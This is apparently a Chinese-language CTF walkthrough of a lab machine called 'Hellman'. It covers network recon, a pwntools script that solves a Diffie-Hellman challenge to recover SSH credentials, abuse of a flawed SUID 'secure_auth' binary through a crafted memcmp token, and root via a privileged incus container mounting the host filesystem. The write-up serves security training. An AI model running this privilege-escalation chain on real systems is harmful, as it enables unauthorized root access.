信息收集

bash
┌──(root㉿kali)-[~]└─# arp-scan -l | grep PCS192.168.31.109  08:00:27:11:9b:89       PCS Systemtechnik GmbH ┌──(root㉿kali)-[~]└─# IP=192.168.31.109 
bash
┌──(root㉿kali)-[~]└─# nmap -sV -sC -A $IP -PnStarting Nmap 7.95 ( https://nmap.org ) at 2026-01-23 03:57 ESTNmap scan report for Hellman (192.168.31.109)Host is up (0.0012s latency).Not shown: 998 closed tcp ports (reset)PORT   STATE SERVICE VERSION22/tcp open  ssh     OpenSSH 10.0 (protocol 2.0)80/tcp open  http    nginx|_http-title: Diffie-Hellman Challenge GuideMAC Address: 08:00:27:11:9B:89 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)Device type: general purpose|routerRunning: Linux 4.X|5.X, MikroTik RouterOS 7.XOS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 cpe:/o:mikrotik:routeros:7 cpe:/o:linux:linux_kernel:5.6.3OS details: Linux 4.15 - 5.19, OpenWrt 21.02 (Linux 5.4), MikroTik RouterOS 7.2 - 7.5 (Linux 5.6.3)Network Distance: 1 hop TRACEROUTEHOP RTT     ADDRESS1   1.20 ms Hellman (192.168.31.109) OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .Nmap done: 1 IP address (1 host up) scanned in 8.14 seconds

访问发现是一道密码题,题目要求模拟 Diffie-Hellman 密钥交换协议的一方,连接服务器后得到以下参数:

  • 公共参数: 一个大素数 和生成元 (固定为 2)
  • 每轮变化: Alice 的公钥 和我们要使用的私钥

数学原理

Diffie-Hellman 的核心机制如下:

  1. Alice 生成私钥 ,计算公钥 发送给我们
  2. 我们拥有私钥
  3. 我们需要计算共享密钥

根据 DH 协议定义,共享密钥的计算公式为

交互逻辑分析

观察发现服务器的交互流程如下:

  1. 服务器发送欢迎语并给出
  2. 第一轮挑战服务器发送当前轮次的
  3. 后续轮次如果发送正确的 ,服务器返回 Correct!,紧接着发送新一轮的 ,且不再发送

解题脚本

python
from pwn import * context.log_level = 'info' p = remote('192.168.31.109', 1337)rounds = 500 p.recvuntil(b'g = ')g = int(p.recvline().strip()) p.recvuntil(b'p = ')p_ = int(p.recvline().strip()) print(f"g={g}")print(f"p ={p_}") for _ in range(rounds):    p.recvuntil(b'b = ')    b = int(p.recvline().strip())     p.recvuntil(b'A = ')    A = int(p.recvline().strip())     p.recvuntil(b'>')     # Shared Secret    S = pow(A, b, p_)     p.sendline(str(S).encode()) p.interactive()

从输出中得到 676f643a6e756d626572735f6172655f68617264,十六进制转字符得到 god:numbers_are_hard

bash
┌──(root㉿kali)-[~]└─# ssh god@$IP                    The authenticity of host '192.168.31.109 (192.168.31.109)' can't be established.ED25519 key fingerprint is SHA256:xJ90oWmr5sPR2afHz9etzSdtxINmLI+JvbwgV/iCsWY.This host key is known by the following other names/addresses:    ~/.ssh/known_hosts:10: [hashed name]    ~/.ssh/known_hosts:13: [hashed name]Are you sure you want to continue connecting (yes/no/[fingerprint])? yesWarning: Permanently added '192.168.31.109' (ED25519) to the list of known hosts.god@192.168.31.109's password: numbers_are_hard              _                          __      _____| | ___ ___  _ __ ___   ___ \ \ /\ / / _ \ |/ __/ _ \| '_ ` _ \ / _ \ \ V  V /  __/ | (_| (_) | | | | | |  __/  \_/\_/ \___|_|\___\___/|_| |_| |_|\___|                                         Hellman:~$ iduid=1001(god) gid=1001(god) groups=1001(god)Hellman:~$ ls -ah.             ..            .ash_history  user.txtHellman:~$ cat user.txtflag{user-c9461249ea2e074a338b82db919b3fb9}

横向移动

bash
Hellman:~$ find / -perm -u=s -type f 2>/dev/null/bin/bbsuid/usr/libexec/dbus-daemon-launch-helper/usr/bin/expiry/usr/bin/chsh/usr/bin/secure_auth/usr/bin/chage/usr/bin/passwd/usr/bin/gpasswd/usr/bin/chfn

/usr/bin/secure_auth 不太对劲,拖出来逆一下

c
int __fastcall main(int argc, const char **argv, const char **envp){  size_t n; // rdx  char *s; // [rsp+10h] [rbp-120h]  const char *s1; // [rsp+18h] [rbp-118h]  _BYTE s2[264]; // [rsp+20h] [rbp-110h] BYREF  unsigned __int64 v8; // [rsp+128h] [rbp-8h]   v8 = __readfsqword(0x28u);  if ( argc > 2 )  {    s = (char *)argv[1];    s1 = argv[2];    xor_cipher(      s,      key,                                      // "4b077130fw473r"      s2);    n = strlen(s);    if ( !memcmp(s1, s2, n) )    {      puts("[+] Auth successful. Switching to UID 1002...");      if ( setresgid(0x3EAu, 0x3EAu, 0x3EAu) )        perror("setresgid failed");      if ( setresuid(0x3EAu, 0x3EAu, 0x3EAu) )        perror("setresuid failed");      system(s);    }    else    {      puts("[-] Auth failed.");    }    return 0;  }  else  {    printf("Usage: %s <command> <token>\n", *argv);    return 1;  }}

程序逻辑如下:

  1. 输入:接收参数 <command><token>
  2. 加密:程序内有一个硬编码的密钥 key = "4b077130fw473r",程序将 <command>key 异或的结果存入 s2
  3. 验证:比较 <token> 与计算出的 s2 是否一致
  4. 执行:如果一致就将当前用户的 UID/GID 设置为 1002,然后执行 <command>

s (0x73) XOR 4 (0x34) = G

h (0x68) XOR b (0x62) = \n

所以正确的 Token 应该是 G\n

可以用 $() 来执行命令并将结果作为参数传递,但是 Linux 的命令替换 $() 默认会删除输出结果末尾的换行符,进而导致比较失败

回头看程序的验证逻辑:

c
n = strlen(s);              // 这里的 s 是 "sh",所以 n = 2if ( !memcmp(s1, s2, n) )   // s1 是输入的 Token,s2 是计算得到的 Token

关键点在于第三个参数 nmemcmp 并不是比较两个字符串是否完全相等,而是比较前 n 个字节是否相等

只要输入的 Token 的前 2 个字节 是 G\n 即可通过验证,后面的字节不参与比较,所以在 \n 后面再加任意一个字符即可

bash
Hellman:~$ /usr/bin/secure_auth sh "$(printf 'G\nx')"[+] Auth successful. Switching to UID 1002...~ $ iduid=1002(water) gid=1002(water) groups=1001(god)

提权

检查 water 的历史记录

bash
~ $ cd /home/water/home/water $ ls -altotal 12drwxr-sr-x    2 water    water         4096 Jan 23 15:46 .drwxr-xr-x    4 root     root          4096 Jan 23 15:45 ..-rw-------    1 water    water           63 Jan 23 15:47 .ash_history/home/water $ cat .ash_historyincusls -l /var/lib/incus/unix.socketaddgroup god incusexit

Incus 是 LXD 的一个社区分支,它是一个系统容器管理器
如果能访问 Incus/LXD 的 Socket 就意味着可以把宿主机的根目录 / 挂载到容器里,从而以 root 权限读写宿主机的任何文件
先确认是否有权限操作 Incus,看看谁有权限读写这个 socket 文件:

bash
/home/water $ ls -l /var/lib/incus/unix.socketsrw-rw----    1 root     incus            0 Jan 23 16:52 /var/lib/incus/unix.socket

发现对 incus 组可写,然后检查 incus 的组成员

bash
/home/water $ grep incus /etc/groupincus:x:106:waterincus-user:x:107:incus-admin:x:108:

发现 water 在里面,在 kali 生成一对密钥

bash
┌──(root㉿kali)-[~]└─# ssh-keygen -t rsa -f water_keyGenerating public/private rsa key pair.Enter passphrase for "water_key" (empty for no passphrase): Enter same passphrase again: Your identification has been saved in water_keyYour public key has been saved in water_key.pubThe key fingerprint is:SHA256:GTh7pSNVcigvB6HQP/txQTibanRsngzJkvI6vfjjTSo root@kaliThe key's randomart image is:+---[RSA 3072]----+|  ..  ...oo      ||   ...o.++.      ||    .+o*o=.      ||  . o O+O=.      ||   o oo%S. .     ||    . +o=..      ||   o ... o       ||  E.o+  .        ||  .==o.          |+----[SHA256]-----+ ┌──(root㉿kali)-[~]└─# cat water_key.pubssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCsrbkrGLaPyxh8IrbFGmS4SYXnemawNEKUX0w9+aWOFRE25KX15DAzzajGwMylaVIMuEsJuSwSRCB6h8S/4Fyk58ebDDIQJDjefA59b/DEYXJhPrE+8LEqGEm1249/epPkSF6FQTYwnyESzUGkwkEcmSJFE5pIUrR+YsVGGQh5hByLPzSmwU33lRu6khwlvpZ5bHMAoCUjf6YTHE6kHl+XYYBWSPjUtGT+CpHFuX3sUVMGIpA0543OQS7FxJ8F74fAcgGjjFMrtJF1yo26adSGUIADvbyMG2ZCpClFlFyocXu+tlydjmzXyyZj+eugHkEV/RHKXGQmSVG1inG+kzA3NFxy/emWI2kWenpYRuEMHQZRDe6siYlkVPBzqOMe2HDHTF1C1W206V2XOUxrhh/P67yVpzDo+CSU1MN7+oP5sFpwtQvyRr9Mi6cvT9BvExbjtRawkQsabCJ6M1KK3/JG8aXhqsK+kklwQJTQFNo2o2FqRd/6Ok1rRKY+MAaGTyk= root@kali

回到靶机

bash
/home/water $ mkdir -p ./.ssh/home/water $ chmod 700 ./.ssh/home/water $ echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCsrbkrGLaPyxh8IrbFGmS4SYXnemawNEKUX0w9+aWOFRE25KX15DAzzajGwMylaVIMuEsJuSwSRCB6h8S/4Fyk58ebDDIQJDjefA59b/DEYXJhPrE+8LEqGEm1249/epPkSF6FQTYwnyESzUGkwkEcmSJFE5pIUrR+YsVGGQh5hByLPzSmwU33lRu6khwlvpZ5bHMAoCUjf6YTHE6kHl+XYYBWSPjUtGT+CpHFuX3sUVMGIpA0543OQS7FxJ8F74fAcgGjjFMrtJF1yo26adSGUIADvbyMG2ZCpClFlFyocXu+tlydjmzXyyZj+eugHkEV/RHKXGQmSVG1inG+kzA3NFxy/emWI2kWenpYRuEMHQZRDe6siYlkVPBzqOMe2HDHTF1C1W206V2XOUxrhh/P67yVpzDo+CSU1MN7+oP5sFpwtQvyRr9Mi6cvT9BvExbjtRawkQsabCJ6M1KK3/JG8aXhqsK+kklwQJTQFNo2o2FqRd/6Ok1rRKY+MAaGTyk= root@kali" > /home/water/.ssh/authorized_keys/home/water $ chmod 600 ./.ssh/authorized_keys

SSH 登录

bash
┌──(root㉿kali)-[~]└─# ssh -i water_key water@$IP              _                          __      _____| | ___ ___  _ __ ___   ___ \ \ /\ / / _ \ |/ __/ _ \| '_ ` _ \ / _ \ \ V  V /  __/ | (_| (_) | | | | | |  __/  \_/\_/ \___|_|\___\___/|_| |_| |_|\___|                                         Hellman:~$ iduid=1002(water) gid=1002(water) groups=106(incus),1002(water)

看看本地有什么镜像

bash
Hellman:~$ incus image list+-------+--------------+--------+------------------------------------+--------------+-----------+---------+----------------------+| ALIAS | FINGERPRINT  | PUBLIC |            DESCRIPTION             | ARCHITECTURE |   TYPE    |  SIZE   |     UPLOAD DATE      |+-------+--------------+--------+------------------------------------+--------------+-----------+---------+----------------------+|       | 56a897afdceb | no     | Alpine edge amd64 (20260120_13:00) | x86_64       | CONTAINER | 3.27MiB | 2026/01/23 15:48 CST |+-------+--------------+--------+------------------------------------+--------------+-----------+---------+----------------------+

提权

bash
Hellman:~$ incus init images:alpine/edge pwn -c security.privileged=trueCreating pwnHellman:~$ incus config device add pwn mydevice disk source=/ path=/mnt/root recursive=trueDevice mydevice added to pwnHellman:~$ incus start pwnHellman:~$ incus exec pwn /bin/sh~ # iduid=0(root) gid=0(root)

经过 Sublarge 提醒要进挂载目录

bash
~ # cd /mnt/root/root/mnt/root/root # lsroot.txt/mnt/root/root # cat root.txtflag{root-da3397afd8ca24ea5bcaf7a2cb83b422}